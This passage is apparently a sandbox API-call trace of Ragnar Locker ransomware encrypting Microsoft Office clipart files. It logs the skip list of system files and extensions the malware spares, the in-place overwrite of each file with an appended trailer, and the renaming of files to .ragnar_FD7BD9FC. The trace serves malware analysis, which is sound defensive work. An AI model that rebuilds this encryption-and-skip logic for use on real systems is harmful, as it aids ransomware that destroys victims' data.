lpString1="DD01139_.WMF") returned="DD01139_.WMF" [0081.800] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned=".WMF" [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="autorun.inf") returned 1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="boot.ini") returned 1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="bootfont.bin") returned 1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="bootsect.bak") returned 1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="bootmgr") returned 1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="bootmgr.efi") returned 1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="desktop.ini") returned -1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="iconcache.db") returned -1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="ntldr") returned -1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="ntuser.dat") returned -1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="ntuser.ini") returned -1 [0081.800] lstrcmpiW (lpString1="DD01139_.WMF", lpString2="thumbs.db") returned -1 [0081.800] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.800] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.800] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.800] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.800] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.800] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.800] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20 [0081.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.801] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3632) returned 1 [0081.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.801] GetProcessHeap () returned 0x580000 [0081.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.801] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.803] VirtualAlloc (lpAddress=0x0, dwSize=0xe30, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.803] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe30, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe30, lpOverlapped=0x0) returned 1 [0081.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.803] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe30, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.803] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe30, lpOverlapped=0x0) returned 1 [0081.803] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe30, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.804] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.804] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.804] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.804] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.804] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.804] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.804] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.804] GetProcessHeap () returned 0x580000 [0081.804] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.804] CloseHandle (hObject=0xf4) returned 1 [0081.804] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" [0081.804] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.ragnar_FD7BD9FC" [0081.804] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.805] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0081.805] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.805] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01140_.WMF" | out: lpString1="DD01140_.WMF") returned="DD01140_.WMF" [0081.805] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned=".WMF" [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="autorun.inf") returned 1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="boot.ini") returned 1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="bootfont.bin") returned 1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="bootsect.bak") returned 1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="bootmgr") returned 1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="bootmgr.efi") returned 1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="desktop.ini") returned -1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="iconcache.db") returned -1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="ntldr") returned -1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="ntuser.dat") returned -1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="ntuser.ini") returned -1 [0081.805] lstrcmpiW (lpString1="DD01140_.WMF", lpString2="thumbs.db") returned -1 [0081.805] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.806] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.806] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.806] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.806] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.806] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.806] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20 [0081.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.807] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3616) returned 1 [0081.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.807] GetProcessHeap () returned 0x580000 [0081.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.807] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.808] VirtualAlloc (lpAddress=0x0, dwSize=0xe20, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.808] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.808] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.808] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe20, lpOverlapped=0x0) returned 1 [0081.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.809] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe20, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.809] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe20, lpOverlapped=0x0) returned 1 [0081.809] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.809] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.809] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.809] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.809] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.809] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.810] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.810] GetProcessHeap () returned 0x580000 [0081.810] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.810] CloseHandle (hObject=0xf4) returned 1 [0081.810] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" [0081.810] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.ragnar_FD7BD9FC" [0081.810] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.810] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0081.810] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.810] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01143_.WMF" | out: lpString1="DD01143_.WMF") returned="DD01143_.WMF" [0081.810] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned=".WMF" [0081.810] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.810] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="autorun.inf") returned 1 [0081.810] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="boot.ini") returned 1 [0081.810] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="bootfont.bin") returned 1 [0081.810] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="bootsect.bak") returned 1 [0081.811] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="bootmgr") returned 1 [0081.811] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="bootmgr.efi") returned 1 [0081.811] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.811] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="desktop.ini") returned -1 [0081.811] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="iconcache.db") returned -1 [0081.811] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="ntldr") returned -1 [0081.811] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="ntuser.dat") returned -1 [0081.811] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.811] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="ntuser.ini") returned -1 [0081.811] lstrcmpiW (lpString1="DD01143_.WMF", lpString2="thumbs.db") returned -1 [0081.811] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.811] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.811] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.811] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.811] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.811] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.811] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x20 [0081.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.811] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2140) returned 1 [0081.811] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x853, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.811] GetProcessHeap () returned 0x580000 [0081.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.811] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.813] VirtualAlloc (lpAddress=0x0, dwSize=0x85c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.813] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x85c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x85c, lpOverlapped=0x0) returned 1 [0081.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.813] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x85c, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.813] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x85c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x85c, lpOverlapped=0x0) returned 1 [0081.814] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x85c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.814] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.814] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x85c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.814] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.814] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.814] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.814] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.814] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.814] GetProcessHeap () returned 0x580000 [0081.814] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.814] CloseHandle (hObject=0xf4) returned 1 [0081.814] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" [0081.814] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.ragnar_FD7BD9FC" [0081.815] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.817] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0081.817] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.817] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01145_.WMF" | out: lpString1="DD01145_.WMF") returned="DD01145_.WMF" [0081.817] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned=".WMF" [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="autorun.inf") returned 1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="boot.ini") returned 1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="bootfont.bin") returned 1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="bootsect.bak") returned 1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="bootmgr") returned 1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="bootmgr.efi") returned 1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.817] lstrcmpiW 